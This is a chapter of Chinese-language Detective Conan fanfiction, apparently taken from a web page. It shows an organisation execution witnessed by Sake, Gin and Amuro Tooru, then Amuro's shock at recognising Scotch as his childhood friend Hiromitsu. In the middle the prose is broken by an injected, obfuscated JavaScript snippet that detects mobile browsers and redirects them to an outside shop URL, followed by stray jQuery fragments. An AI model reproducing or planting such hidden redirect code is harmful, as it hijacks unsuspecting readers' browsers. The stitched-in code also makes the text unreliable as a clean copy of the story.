幽灵已经跑到了外面的空地上,正在往公路的方向狂奔。也是辛苦他了,审讯的时候可能伤到了哪里,他跑起来一瘸一拐的,比起走路快不了多少。
他真的觉得自己能跑出去吗。
外面的阳光有些刺眼,羽泽熙真眯了眯眼睛,抬起手遮了一下。远处有一栋楼。大概三百米远,六层高,在楼顶的边缘,他看到了一个模糊的身影。
“砰——!”
他的身旁传来一声枪响。那是伯|莱|塔的声音,他很熟悉。
幽灵的身体顿时失去了平衡,猛地向前扑去,他的左腿在奔跑中被击中了。他抱着腿,哀嚎着,挣扎着想站起来。
地上汇集起一小摊血。
羽泽熙真移开了视线。不过并不是因为看不下去,而是他突然发现好像有哪里不太对劲。
安室透不见了。
明明刚刚那个金发的家伙还跟在他身后的,一转头的工夫,就像是凭空消失了一样。
羽泽熙真左右张望了一下,空地,厂房的墙,周围空空荡荡的,没有安室透的影子。
“清酒。”
他闻声转头,看向靠在墙边的琴酒。
琴酒左手握着刚刚用来拦住幽灵的伯|莱|塔,枪口朝下,手指搭在扳机护圈上。右手夹着一根点燃的烟,贴在唇边。
“你在找什么?”
“前辈,你看到波本了吗?”羽泽熙真问,“他不见了。”
“没有。”
琴酒弹了弹烟灰,嫌弃地嗤笑一声。
“他跑丢了那是他自己的事,你倒是着急。”
羽泽熙真:“啧。”
前辈怎么不帮忙还说风凉话。
要是波本跑到什么莫名其妙的地方去出了事,到时候大家不都要挨骂的吗。
“你也别逼他太紧了。”琴酒说。
“嗯?”羽泽熙真疑惑,“前辈,你刚刚说什么?”
“没什么。这个人没用了。”琴酒弹了弹烟灰,“处理掉吧。”
幽灵趴在地上,仰头看着琴酒。他的眼睛里满是恐惧,嘴唇在发抖。他想求饶,但最后只发出了一些含混的音节。
“我知道了。”羽泽熙真点头。
他走近两步,朝着那个即将变成幽灵的男人笑了笑。
“别怕,很快的。”
男人疯狂摇头。
羽泽熙真抬起右手,拇指伸直,食指和中指并拢,无名指和小指弯曲——比了一个手枪的手势。
手指对着幽灵的脑袋,轻轻抬起。
“砰。”他轻声开口。
——砰!
这次的枪声是从三百米外传来的。
血溅在地上,幽灵的身体猛地抽搐了几下,然后不动了。
“前辈。”羽泽熙真收回手,“伏特加呢?”
琴酒把烟叼在嘴里,没搭理他。他看着远处那栋楼,还有楼顶那个正在收起狙击枪的身影。
“之后,苏格兰还是跟着你行动。”
“好的。”羽泽熙真笑道。
所以说,苏格兰没事,那个莱伊大概也没事,没有发展到什么两个必须死一个的极端情景,大家好聚好散。
他忽然觉得今天的空气特别清新,阳光特别好,连趴在地上的尸体都不那么碍眼了。
琴酒直起身,走到了羽泽熙真面前。
他比羽泽熙真高一点,挡住了光线,羽泽熙真被笼罩在他的影子里,微微仰头,有点疑惑地看他。
“……”
琴酒一言不发地从风衣里摸出一个东西,塞进羽泽熙真外套的口袋里,转身走了。
羽泽熙真把手伸进口袋,摸到了一个塑料的小瓶子,他不用看就知道里面是什么。
他的药。
他每天早上会服用一粒,吃了的话精神会好一些,也不那么容易晕倒。一瓶是六十粒,所以他需要每两个月去实验室拿一次。
但琴酒为了把波本塞到他身边,做出了“后面三次拿药我去”的承诺。
这是第一次。
前辈明明也很不喜欢那个地方吧……
“谢谢前辈。”他朝着琴酒的背影说。
银发男人还没走太远,长发在他身后摆动。但他没什么反应,不知道有没有听到。
“琴酒给了你什么?”
安室透从背后冒了出来,如果羽泽熙真没听到后面的窸窣声的话,八成要被他吓一跳。
“你去哪了?”羽泽熙真反问。
“洗手间。”安室透指指厂房里的一扇门,“刚刚发生什么了吗?”
发生了什么很明显吧,幽灵的尸体还在不远处躺着呢。安室透却只往那边瞥了一眼,目光便落回羽泽熙真脸上,仿佛他看到的是路边的枯枝败叶。
有点奇怪。
倒不是说安室透会上厕所这种事很奇怪,他是一个正常的人类,需要吃饭,需要睡觉,需要上厕所。奇怪的是,安室透会在这个时候跑去上厕所。
明明刚刚审讯时,他在旁边听得那么认真,一副不想错过任何情报的样子。
羽泽熙真合理怀疑安室透是终于被那场面恶心得受不了了,跑去洗手间消化情绪。但他没有证据。
安室透的神态看起来很正常,没有表现出排斥或者是不适的表情。他的手上湿漉漉的,但头发和面部是干燥的,没有水痕。
“……你没事吧?”羽泽熙真皱了皱眉,“如果有不舒服,最好现在就告诉我。”
还是要多问一句。毕竟有前车之鉴。
安室透愣了一下。
“怎么会呢。”他弯起眉眼,“别担心,我真的只是去了厕所。琴酒给了你什么?”
他又问起刚刚羽泽熙真没有回答的问题。
见安室透一直盯着自己的口袋看,羽泽熙真无奈地摸了颗薄荷糖出来,摊手递给他。
“用来提神的,你也要?”
琴酒会莫名其妙给清酒塞几颗糖?这种东西出现在那位组织的Top Killer身上都算是一种亵渎了吧。
安室透明显不信,他低头看了看那块糖,又抬头看了看羽泽熙真,欲言又止。
“……谢谢。”
他把糖拿走了,举到眼前看了看,然后塞进了自己的口袋里。
这倒是有些出乎羽泽熙真的预料。安室透住进来的这段时间,他没见过他买甜品之类的东西吃,咖啡也不加糖只加奶,还以为他不爱吃甜的。
幽灵的尸体已经不流血了。
羽泽熙真把手插回口袋里,带着安室透朝外面走,走了两步,他又忽然停下来。
他听见了脚步声。
安室透也跟着他停下来,朝着他看的方向望去——
有一个人影从远处大楼的方向走过来。
人影瘦高,穿着一件蓝色的兜帽衫,双手插在衣服前面的口袋里,肩膀微微耸起,姿态很放松。他肩上背着黑色的贝斯包,帽子的阴影盖住了他的大部分面容,只露出一小截下巴胡茬的青色。
他应该就是苏格兰了。安室透想,但这个人给他的感觉怎么……有些熟悉?
人影不紧不慢地走到两人面前,停下脚步。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618214|205914||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
他伸手抓住帽子的边缘,低着头,慢慢向后摘掉。
兜帽从他的闭着的眼睛划过,然后是眉毛、额头,拂过黑色的发丝,垂到颈后。
那双眼睛缓缓睁开——
深蓝色的眼睛。
漂亮的、上挑的、猫一样的眼睛。
苏格兰——绿川光笑着看向羽泽熙真,又微微偏头,看向了羽泽熙真身侧的安室透。
他嘴角的笑意加深了一点。
那一瞬间,安室透如坠冰窟。
怎么会……怎么会……
他就是……苏格兰。
……
……但苏格兰,怎么可能是诸伏景光?!
降谷零下意识攥紧了刚刚羽泽熙真给他的薄荷糖。
从警校毕业后,作为优秀毕业生的他被公安招揽,前往黑衣组织卧底。
为了这个任务,他化名为安室透,与以前的关系几乎完全断联,包括警校时期的几个关系极好的挚友:萩原研二、松田阵平、伊达航,以及他的幼驯染,诸伏景光。
虽然他保留了几个好友的联系方式,但对于他们的消息,降谷零通常是只收不发,看一遍,然后删掉。好在几个朋友也不在意他有没有回复,只是时不时的问候一下他的情况,讲讲最近发生的事。
就比如前几天,萩原还发消息问他是不是出事了……都这么久了,关于他在干什么,他们应该也猜到了吧。
苏格兰是组织成员,是清酒的直系下属,是清酒给出信任的搭档。
而诸伏景光是降谷零两年未见的幼驯染,他们一起长大、一起上学、一起成为警察,他是他生命中最重要的人。
他们两年没见了,但降谷零从来没有想过会在这样的地方,这样的时刻,以这样的方式见到他。
不……或许就在清酒淋着雨,朝他讲述“蓝色眼睛,和他年龄相仿”的苏格兰时,在感觉清酒做的饭味道熟悉时,他就该想到了……他应该想到的。
但他否定了自己的联想。
诸伏景光没有胡子。
诸伏景光在毕业后去了警视厅,警视厅和警察厅没必要同时派出两个卧底进入组织。
诸伏景光虽然很少给他发消息,但偶尔的问候都很平常。
所以降谷零从来没往那个方向想过……
他觉得他的幼驯染应该在阳光下过着正常的生活,应该离这个黑暗的世界很远很远,不愿去打扰。
他错了。
两年的时间,足以让一个警察变成罪犯,足以让一个朋友变成敌人。
他不知道……他不知道站在面前的诸伏景光究竟也是来卧底的,还是说,面前的苏格兰,是早已被组织驯化的猎犬,放弃了原来的身份,效忠于组织——并且几乎知道有关于自己的所有过去。
或许是今天受到的刺激太多,降谷零觉得自己快要窒息了。
刚刚在洗手间强行压下的反胃感又在翻腾,他的思绪不由自主地往更阴暗的地方蔓延。
——如果你和我是同样的立场,那么为什么你要走到我面前才露出真实的面容,不给我任何时间做准备?
——如果你与我背道而驰,你在等什么?在享受这个把我吓得魂飞魄散的瞬间吗?在等一个合适的时机揭穿我?还是你已经……
不。不。不能往下想了。
如果这是一场梦,降谷零想,那它一定称得上是一个噩梦。
那双蓝色的眼睛还在看着他。
然后它们弯了弯。
它们在说——
“好久不见,零。”